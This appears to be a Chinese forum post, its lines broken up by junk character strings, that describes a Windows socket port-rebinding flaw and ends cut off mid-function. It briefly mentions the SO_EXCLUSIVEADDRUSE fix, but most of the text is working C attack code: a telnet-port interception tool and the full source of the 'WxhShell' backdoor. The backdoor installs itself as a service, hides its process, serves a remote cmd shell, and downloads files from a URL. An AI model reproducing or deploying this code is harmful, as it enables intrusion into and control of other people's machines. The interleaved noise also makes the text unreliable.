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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: );fPir?+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WmZ,c_ Y,d|b V*FH saddr.sin_family = AF_INET; )|<g\>/ Fzn#>`qG saddr.sin_addr.s_addr = htonl(INADDR_ANY); SW=%>XKkh 'jBtBFzP- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p&3~n:
Fo c/`Rv{*'o 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?/24-n jN2Xoh9 这意味着什么?意味着可以进行如下的攻击: [3io6XG x@ /{nZI_v# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;Yn_*M/* [N1[khY` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `}*jjnr" mJS-x-@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +(vL~ zM<yd#`yt8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 rvBKJ!b0 Q?-u J1J 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MpLn) hV"2L4/E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 juBzpQYj X$ 76#x 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =lS@nRH 4I3)eS%2 #include I}1<epd , #include Z n]e2 #include a|@1RH>7H #include WvHy}1W DWORD WINAPI ClientThread(LPVOID lpParam); <^B!.zQ int main() ?+y# t? { RUlJP WORD wVersionRequested; jX
6+~ DWORD ret; $
iU~p WSADATA wsaData; "aeKrMgc6V BOOL val; ? p^ ':@= SOCKADDR_IN saddr; N;XJMk_ H SOCKADDR_IN scaddr; _@ @"' int err; ]e]hA@4 SOCKET s; QNCG^ub SOCKET sc; w0$l3^}z int caddsize; SLI358]$< HANDLE mt; [:-o;K\.-a DWORD tid; _JXb|FIp wVersionRequested = MAKEWORD( 2, 2 ); LQ=Fck~[r err = WSAStartup( wVersionRequested, &wsaData ); J|[`8 *8 if ( err != 0 ) { "Yf?33UNZ printf("error!WSAStartup failed!\n"); ' $X}' u return -1; ^tKJ}} } )z2hyGX saddr.sin_family = AF_INET; E9n7P'8 1dX)l //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YM]ZL,8 ;/<J. saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O8S"B6?$~' saddr.sin_port = htons(23); ];G$~[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YfOO]{x,X { B=J/HiwV) printf("error!socket failed!\n"); .=-K7.X.) return -1; J0"<}" } pM'AhzS val = TRUE; OQZ\/~o 5 //SO_REUSEADDR选项就是可以实现端口重绑定的 KmlpB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ok2>%e { D^W?~7e^r printf("error!setsockopt failed!\n"); 9b*1-1" return -1; haMt2S2_B: } Qr
l> A* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H&zhYKw
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,<.V7(|t) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ___~D
dq M$wC=b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <;lkUU(WT2 { \UA[ ret=GetLastError(); L7l
FtX+b printf("error!bind failed!\n"); n3WlZ!$ return -1; 11 NQR[ } <]ox;-56 listen(s,2); wH*-(*N" while(1) %O;:af"Ja8 { T9=I$@/ caddsize = sizeof(scaddr); <|HV. O/! //接受连接请求 _YRFet[,m sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (&r.w if(sc!=INVALID_SOCKET) Y_liA { GC-5X`Sq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `>o{P/HN if(mt==NULL) KR}?H#% { /'SNw?& printf("Thread Creat Failed!\n"); Cp\6W[2+B break; Z{*\S0^ST } 10Q ]67 } p%ki>p )E| CloseHandle(mt); PI {bmZ } Xg6Jh`` closesocket(s); 4Z3su^XR WSACleanup(); 2Ah#<k-gC; return 0; iqsCB%;5 } RHW]Z
Pr< DWORD WINAPI ClientThread(LPVOID lpParam) U gat1Pz { \
#F SOCKET ss = (SOCKET)lpParam; [g|_~h SOCKET sc; \doUTr R unsigned char buf[4096]; 2k~l$p>CN! SOCKADDR_IN saddr; s S+MqBh&I long num; gT.sjd DWORD val; &u."A3( DWORD ret; zpn9,,~u //如果是隐藏端口应用的话,可以在此处加一些判断 9cbd~mM{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 qz_7%c]K[ saddr.sin_family = AF_INET; B`)BZ,#p saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Pm6pv;WK saddr.sin_port = htons(23); NWESP U):w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zaIKdI'/e { tAd%#:K printf("error!socket failed!\n"); !/b>sN} return -1; qJs<#MQ2 } P6`u._mX val = 100; +/4A if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e9Wa<i8 { R3)~?X1n ret = GetLastError(); +5g_KS return -1; ^,lIK+#Elz } kr^P6}' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) htO+z7 { r..iko]T ret = GetLastError(); ;IvY^(YS@; return -1; Y#ap* } ?um;s-x) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P[G)sA_" { %OL$57Ia printf("error!socket connect failed!\n"); jodIv=C closesocket(sc); k{R> closesocket(ss); p;`>e>$ return -1; Di,^% } !,_u)4 while(1) KC*e/J { /wGM#sFH //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n K1Slg#U //如果是嗅探内容的话,可以再此处进行内容分析和记录 _b
pP50Cu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1sy[@Q2b num = recv(ss,buf,4096,0); #ZUI)9My@ if(num>0) o)M}!MT send(sc,buf,num,0); nI?[rCM else if(num==0) *nT<m\C6 break; o*+"| num = recv(sc,buf,4096,0); (R,#a *CV if(num>0) Fk&c=V;SU send(ss,buf,num,0); ueogaifvB else if(num==0) k&M;,e3v6 break; v4a8}G } JMCKcZ%N closesocket(ss); |MTnH/| closesocket(sc); g i3F`
m return 0 ; sU<Wnz\[ } d(ZO6Nr Q ~gJwW+ etQCzYIhn ========================================================== dohA0 9Z$"K- G 下边附上一个代码,,WXhSHELL pHGYQ;:L ''cInTCr ========================================================== B&M%I:i +q<jAW A #include "stdafx.h" L]|gZ&^ Xz6<lLb #include <stdio.h> P{lB50 #include <string.h> ;+hH #include <windows.h> .Rs^YZ F #include <winsock2.h> 60?%<oJ oH #include <winsvc.h> Si;H0uP O #include <urlmon.h> q(W3i^778 5MJS
~( #pragma comment (lib, "Ws2_32.lib") &Hs!:43E-< #pragma comment (lib, "urlmon.lib") R`E ~ZWC4V [2M'PT3 #define MAX_USER 100 // 最大客户端连接数 :nOFR$W #define BUF_SOCK 200 // sock buffer pG;U2wE #define KEY_BUFF 255 // 输入 buffer w@w(-F!%l 'c$+sp ? #define REBOOT 0 // 重启 kVLS #define SHUTDOWN 1 // 关机 @?]RBX?a gT6jYQ #define DEF_PORT 5000 // 监听端口 8$Y9ORs4 bq0zxg% #define REG_LEN 16 // 注册表键长度 f
x+/C8GK #define SVC_LEN 80 // NT服务名长度 z9Rp`z&`E J)p
l|I // 从dll定义API AFE~
v\Gz typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ['iPl/v0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JDT`C2-Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BLD gt~h# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r mg}N %n9aaoD // wxhshell配置信息 c9h6C struct WSCFG { 6(ol1
(U int ws_port; // 监听端口 G]&qx`TBK char ws_passstr[REG_LEN]; // 口令 - 1gVeT& int ws_autoins; // 安装标记, 1=yes 0=no +mT_QsLEv char ws_regname[REG_LEN]; // 注册表键名 { 2f-8Z&> char ws_svcname[REG_LEN]; // 服务名 [(7S .5I char ws_svcdisp[SVC_LEN]; // 服务显示名 (TT}6j char ws_svcdesc[SVC_LEN]; // 服务描述信息 J5,9_uo] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DZtsy!xA int ws_downexe; // 下载执行标记, 1=yes 0=no {]4LULq char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]3Sp W{=^( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $6R-5oQ 8zW2zkv2|# }; FGBbO\</
Wa~=bH // default Wxhshell configuration ^=*;X;7 struct WSCFG wscfg={DEF_PORT, 5~S5F3 "xuhuanlingzhe", u$`a7Lp,n 1, Ew$C
;&9 "Wxhshell", EiaW1Cs "Wxhshell", qcRs$-J "WxhShell Service", .X;K%J2 "Wrsky Windows CmdShell Service", 5Ynd c)Z "Please Input Your Password: ", G KeU%x 1, [<TrS/,)> " http://www.wrsky.com/wxhshell.exe", ^kSqsT" "Wxhshell.exe" !TcJ)0
}; Kf-JcBsrT (QiAisE // 消息定义模块 ,tRj4mx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %SUQ9\SEs char *msg_ws_prompt="\n\r? for help\n\r#>"; [KQ6Ta. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; oD@7
SF char *msg_ws_ext="\n\rExit."; N)Z?Z+}h char *msg_ws_end="\n\rQuit."; y"wShAR char *msg_ws_boot="\n\rReboot..."; BIL Lq8) char *msg_ws_poff="\n\rShutdown..."; R*r#E{!V; char *msg_ws_down="\n\rSave to "; +=8VTCn? $PHvA6D char *msg_ws_err="\n\rErr!"; E-g_".agO char *msg_ws_ok="\n\rOK!"; t\ewHZG" wLr_-vJ char ExeFile[MAX_PATH]; <Q?F?.^e int nUser = 0; *CHX HANDLE handles[MAX_USER]; GR32S=\ int OsIsNt; !%0 *z ,zY$8y] SERVICE_STATUS serviceStatus; :9 ^*
^T SERVICE_STATUS_HANDLE hServiceStatusHandle; Y:a]00&)#Y )K // 函数声明 A3@6N( int Install(void); Z#\P&\`1z int Uninstall(void); 3m)y|$R int DownloadFile(char *sURL, SOCKET wsh); {/:x5l8 int Boot(int flag); wD)XjX void HideProc(void); c!9nnTap int GetOsVer(void); U}e!Wjrc int Wxhshell(SOCKET wsl); #64-~NVL_ void TalkWithClient(void *cs); p6]1w]*R int CmdShell(SOCKET sock); [")o.( int StartFromService(void); 5z8d}
I int StartWxhshell(LPSTR lpCmdLine); ,,&*:<Q =_ ./~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2Aazy'/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); v6M6>&RR| F^t DL: // 数据结构和表定义 b_#m}yZ6 SERVICE_TABLE_ENTRY DispatchTable[] = p;59? { 0y" $MC v {wscfg.ws_svcname, NTServiceMain}, rq/yD,I, {NULL, NULL} :bu/^mW[ }; fF$<7O)+] 0w\zLU // 自我安装 ~ Ei $nV int Install(void) Jr
,;>
{ n.`($yR_ char svExeFile[MAX_PATH]; J6s`'gFns HKEY key; hOu3 bA strcpy(svExeFile,ExeFile); .9 on@S *8yAG]z // 如果是win9x系统,修改注册表设为自启动 F3v!AvA| if(!OsIsNt) { 6S'yZQ|b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nJG U-Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
nzuX&bSw RegCloseKey(key); <;eW=HT+uq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?cBwPetp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /og=IF2: RegCloseKey(key); eueH)Xkf return 0; \=?a/ } w(*vj } 7 S#J>* } *v
jmy/3 else { BOb">6C B4c]}r+ // 如果是NT以上系统,安装为系统服务 q1$N>;& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]_mb7X> if (schSCManager!=0) $k@O`xD,q { Z58X5" SC_HANDLE schService = CreateService G6q
}o)[m) ( ^EtMxF@D schSCManager, <Dl*l{zba wscfg.ws_svcname, LvH4{B wscfg.ws_svcdisp, 4C6YO SERVICE_ALL_ACCESS, vsCCB}7\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &Cq`Y !y SERVICE_AUTO_START, q 6:dy SERVICE_ERROR_NORMAL, }>pknc? svExeFile, 3Gp$a;g NULL, r_)' Ps NULL, `quw9j9`C\ NULL, >\-hO&%_ NULL, {k>&?Vd! NULL Thp[+KP> ); :[p} if (schService!=0) .LPV#& { %~O,zs.2p CloseServiceHandle(schService); ,uSMQS-O'4 CloseServiceHandle(schSCManager); 2@n{yYwy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O40?{v' strcat(svExeFile,wscfg.ws_svcname); #`qx<y*S if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pz!Zs."f) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fd%#78UEo} RegCloseKey(key); )!th7sH return 0; OZb-:!m* } @N>\|!1CC } CmP9Q2 CloseServiceHandle(schSCManager); aq>kTaz } J|W<; } 2prU lZd(emH@ return 1; 9a[9i}_ } t>L2 JinUV6cr // 自我卸载 oM
X int Uninstall(void) fF!Yp iI" { ]{;gw<T HKEY key; +C^nO=[E Z\(q@3 C if(!OsIsNt) { f$o_e90mu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SpIv#? RegDeleteValue(key,wscfg.ws_regname); |QF7
uV RegCloseKey(key); 7m47rJyW4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6gU96Z RegDeleteValue(key,wscfg.ws_regname); DHg:8%3x RegCloseKey(key); ^)470K`%) return 0; u%GEqruo[ } ]
7[
3>IN } +N]J5Ve-`t } eFB5=)ld else { F0m-23[H K6)Gc%:` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .y'>[ if (schSCManager!=0) N_LM/of|D { P7ao5NP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j}#w)M if (schService!=0) ,=uD^n: { XMCXQs& if(DeleteService(schService)!=0) { w$>u b@= CloseServiceHandle(schService); <q)# CloseServiceHandle(schSCManager); OMky$d# return 0; j\ZXG=j } xW+6qtG` CloseServiceHandle(schService); !@5 9) } ^23~ZHu CloseServiceHandle(schSCManager); b;L\EB } mupT<_Y } $Kd>:f=A UZ";a453r return 1; y>LBl] } bK7J} 8hH
#Q5o)x // 从指定url下载文件 )PZT4jTt int DownloadFile(char *sURL, SOCKET wsh) {)Xy%QV { ~Gw*r\\+ HRESULT hr; k{0o9, char seps[]= "/"; d5 -qZ{W char *token; 9u_Pj2%56. char *file; 0`H#
'/ char myURL[MAX_PATH]; q\)-BXw: char myFILE[MAX_PATH]; kcEeFG;DQ /Kbl%u strcpy(myURL,sURL); V6Dbd"
i9 token=strtok(myURL,seps); @|!z9Y* while(token!=NULL) 31)&vf[[ { JS77M-Ac file=token; t,'<gI token=strtok(NULL,seps); -qoH,4w } AwN!;t_0+N V8(- GetCurrentDirectory(MAX_PATH,myFILE); t<qiGDJ<d strcat(myFILE, "\\"); 2rMpgV5 strcat(myFILE, file); }7X%'Bg=M send(wsh,myFILE,strlen(myFILE),0); %)n=x
ne send(wsh,"...",3,0); mc3"`+o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @ P|y{e6 if(hr==S_OK) Pc9H0\+Xk return 0; W!<U85-#S else ite~E5?# return 1; _*zt=zn> @|r{;' } j!ch5A H.0K?N&\?> // 系统电源模块 D,6:EV"sa int Boot(int flag) /O9EQ Pm( { 3a|\dav% HANDLE hToken; cZ06Kx.. TOKEN_PRIVILEGES tkp; cNH7C"@GVu M(fTKs if(OsIsNt) { DI%saw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YK\X+"lB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ctUp=po tkp.PrivilegeCount = 1; `x|?&Ytmf9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@8
6f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t^L]/$q if(flag==REBOOT) { j#6.Gq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0aAoV0fMDz return 0; 'Vbi VLWD } Lr<cMK< else { ww/Uzv if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u&NV,6Fj2[ return 0; Q20%"&Xp] } 6wxs1G } M`>E|"< else { +d>IHpt if(flag==REBOOT) { Lv%x81]K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z:;CX@)* return 0; "}!G!k: } l,8##7 else { oQ# 8nu{k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RpF&\x> return 0; SdWV3 } 9iq_rd] } Dj +f]~ OCUr{Nh return 1; 0mnw{fE8_ } G?ZXWu. w@b)g // win9x进程隐藏模块 yw!{MO void HideProc(void) P'2Qen* {
$k?>DP4 !?XC1xe~R HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [~^0gAlQC if ( hKernel != NULL ) ;]iRk { .h[:xYm pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q@&6#B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H. c7Nle FreeLibrary(hKernel); g*Phv|kI } ^"g~- hc1N~$3!G return; j6YOKJX } ?`#Khff? Tk>#G{Wb- // 获取操作系统版本 (ZGbhMK int GetOsVer(void) g\U-VZ6;p { GeqPRah OSVERSIONINFO winfo; !W\+#ez winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SKtr tm GetVersionEx(&winfo); /{[o~:'p if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lk!@? return 1; *#2h/Q. else yX5\gO6G return 0; ~[
F`" } i?/qY&~ ZC?Xqp // 客户端句柄模块 ,_P-$lB int Wxhshell(SOCKET wsl) 9$Y=orpWxr { (BM47D=v SOCKET wsh; CAlCDfKW} struct sockaddr_in client; ye97!nIg@ DWORD myID; vIvIfE 5xBbrU; while(nUser<MAX_USER) 6LZCgdS{ { /xQTxh1;K int nSize=sizeof(client); &[9709 (= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o4;(Zi#Z if(wsh==INVALID_SOCKET) return 1; :]"V-1#} ni<(K
0~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <%^&2UMg if(handles[nUser]==0) Zfw,7am/ closesocket(wsh); vI?, 47Hj+ else 0_/[k*Re nUser++; sT.ss$HY9, } JC"z&ka WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cl1T8vFM 8|^7ai[am return 0; ?M2J wAK5 } "MsIjSu <v2;p}A // 关闭 socket /
1RpM]d void CloseIt(SOCKET wsh) h;Kx!5)y { ("@!>|H closesocket(wsh); ;a/E42eN; nUser--; #Z #-Ht ExitThread(0); #mT"gs } Ef\-VKh Wqnc{oq|$ // 客户端请求句柄 B~mj 8l4 void TalkWithClient(void *cs) +q4O D$} { ,uvRi)O>a
G*m0\ SOCKET wsh=(SOCKET)cs; 965jtn char pwd[SVC_LEN]; @&:ar char cmd[KEY_BUFF]; e<h~o!za char chr[1]; ]0)|7TV* int i,j; TAF
PawH #=f?0UTA while (nUser < MAX_USER) { dhr3,&+T2 (?{MEwHG if(wscfg.ws_passstr) { 0[*qY@m:Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D'A/wG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w1"nffhO //ZeroMemory(pwd,KEY_BUFF); 9Fm"ei i=0; 5qoSEI-m while(i<SVC_LEN) { r*_ZJ*h[ ;Uu(zhbj // 设置超时 )Ocl=H|= fd_set FdRead; ?0oUS+lU struct timeval TimeOut; <_Q:'cx' FD_ZERO(&FdRead); O
Wj@<N FD_SET(wsh,&FdRead); f'{]"^e= TimeOut.tv_sec=8; !i%"7tQ3$ TimeOut.tv_usec=0; ;6{@^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z.VyRB i0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *(>}Y Ze3X$%kWi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OOz[-j>'Y+ pwd =chr[0]; V$rlA'+1v if(chr[0]==0xd || chr[0]==0xa) { ed_FiQd pwd=0; $VQtwuYt break; )
(Tom9^ } "A)(" i++; kY&h~Q } lw(e3j ow' lRHZ // 如果是非法用户,关闭 socket LN_OD5gZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [!VOw@uz }
Q\3 Z|% 7.+#zyF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4E:bp send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8%~t 9(!]NNf! while(1) { Q^Bt1C W:QwHZ2O ZeroMemory(cmd,KEY_BUFF); ; W7Y2Md wp.TfKxw // 自动支持客户端 telnet标准 [ev-^[ j=0; 5GAy "Xd while(j<KEY_BUFF) { 8Vt4HD 08 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $X+u={] cmd[j]=chr[0]; +%x^ RV} if(chr[0]==0xa || chr[0]==0xd) { pV_}Or_ cmd[j]=0; 0ZFB4GL break; fp`U?S6 } wOD/Z8 j++; /W7&U
=d9 } 37.)@ &Z;Eu'ia // 下载文件 Y}eZPG.h if(strstr(cmd,"http://")) { .D>A'r8U send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1\"BvFE*E~ if(DownloadFile(cmd,wsh)) ?S;et2f send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ni-UNTv else NK*:w *SOI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x3:ZB } v=8~ZDY else { l,~ N~? <3J=;.\6 switch(cmd[0]) { -f
'q )aO!cQ{s // 帮助 LT
y@6* case '?': { >u%[J!Y;; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [s&
y_[S break; ]'z^Kt5S } DrYoC7 // 安装 kA->xjk case 'i': { #0$eTdx# if(Install()) '@1Qx~*]e send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Gzs else H#d! ` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v\L Ip break; .bl/At3A } 5w-G]b // 卸载 ;`Ch2b1+ case 'r': { x>/@Z6Wxz if(Uninstall()) ;$&5I9N send(wsh,msg_ws_err,strlen(msg_ws_err),0); OKH~Y-%< else '/)_{Ly send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qSs^}eN break; m` cG&Ar5 } $G[##j2 // 显示 wxhshell 所在路径 xl$ Qw' case 'p': { J^cDa|j char svExeFile[MAX_PATH]; Heu@{t.[!D strcpy(svExeFile,"\n\r"); U$}]zaB strcat(svExeFile,ExeFile); YzqhFFaj. send(wsh,svExeFile,strlen(svExeFile),0); G 2##M8:U0 break; *k -UQLJ } fx},.P=:* // 重启 8*X8U:.0o case 'b': { S6
*dp68 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =*I9qjla[? if(Boot(REBOOT)) YuZnuI@m9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>'}tT)U else { QG.FW;/L, closesocket(wsh); '
BpRi N ExitThread(0); "rtmDNpL } eJ'ojc3 break; D? ($R9t } tx.sUu6 // 关机 X%sc:V
case 'd': { /+iaw~={" send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d{&z^ if(Boot(SHUTDOWN)) *NDzU%X8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); qUCiB} else { Hf#/o{=~} closesocket(wsh); oSxHTbp? ExitThread(0); fuQ?@F } qV5ME#TJ break; Dk:Zeo]+my } Ry,jPw5< // 获取shell I9_tD@s"( case 's': { 9hcZbM] CmdShell(wsh); 0?k/vV4 closesocket(wsh); ]U]{5AA6 ExitThread(0); (G:$/fK break; Krz[ f } y!!p:3 // 退出 2Ui)'0 case 'x': { $$AKz\ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .I[uXd CloseIt(wsh); 74QWGw`, break; H=EvT'g } 6X)8vQH // 离开 K" Y,K case 'q': { $KKrl send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ot5
$~o closesocket(wsh); co#%~KqMu WSACleanup(); P$\(Bd\76 exit(1); s\_
,aI break; SxNs } }wz )" } C^]bXIb } KD=T04v Qr$uFh/y // 提示信息 &!a[rvtZ+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (q*Za } WnU"&XZ } DtR-NzjB OP{ d(~+ return; H;%a1 } gtJUQu p2 i e%ZX // shell模块句柄 -TSn_XE int CmdShell(SOCKET sock) R2-OT5Ej { WADNr8. STARTUPINFO si; P8piXG ZeroMemory(&si,sizeof(si)); 0(h *<g: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VWaI!bK si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?E=&LAI# PROCESS_INFORMATION ProcessInfo; XQ.JzzY$ char cmdline[]="cmd"; }r9f}yX9Q CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
&CG3_s<2 return 0; iE0A-;:5 } +UB+. 5P +3!um // 自身启动模式 A7 E*w int StartFromService(void) /m(vIl { Ay22-/C|@ typedef struct \&n]W\ { JY~s-jxa DWORD ExitStatus; zH.DyD5T; DWORD PebBaseAddress; &S]\)&Yt DWORD AffinityMask; !Yz~HO,u+ DWORD BasePriority; !i2=zlpb[ ULONG UniqueProcessId; z
~T[%RjO ULONG InheritedFromUniqueProcessId; 0,{Dw9W: } PROCESS_BASIC_INFORMATION; g< M\zD ]+{Cy\*kR PROCNTQSIP NtQueryInformationProcess; ==l p\ bBb$0HOF static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H*?U@>UU static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IF(W[J 3 8m5&5)1F HANDLE hProcess; b(&2/|hd PROCESS_BASIC_INFORMATION pbi; Z;P[)q %e+hM $Q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ck){N?y if(NULL == hInst ) return 0; (>%Ddj6_> D: NBb!
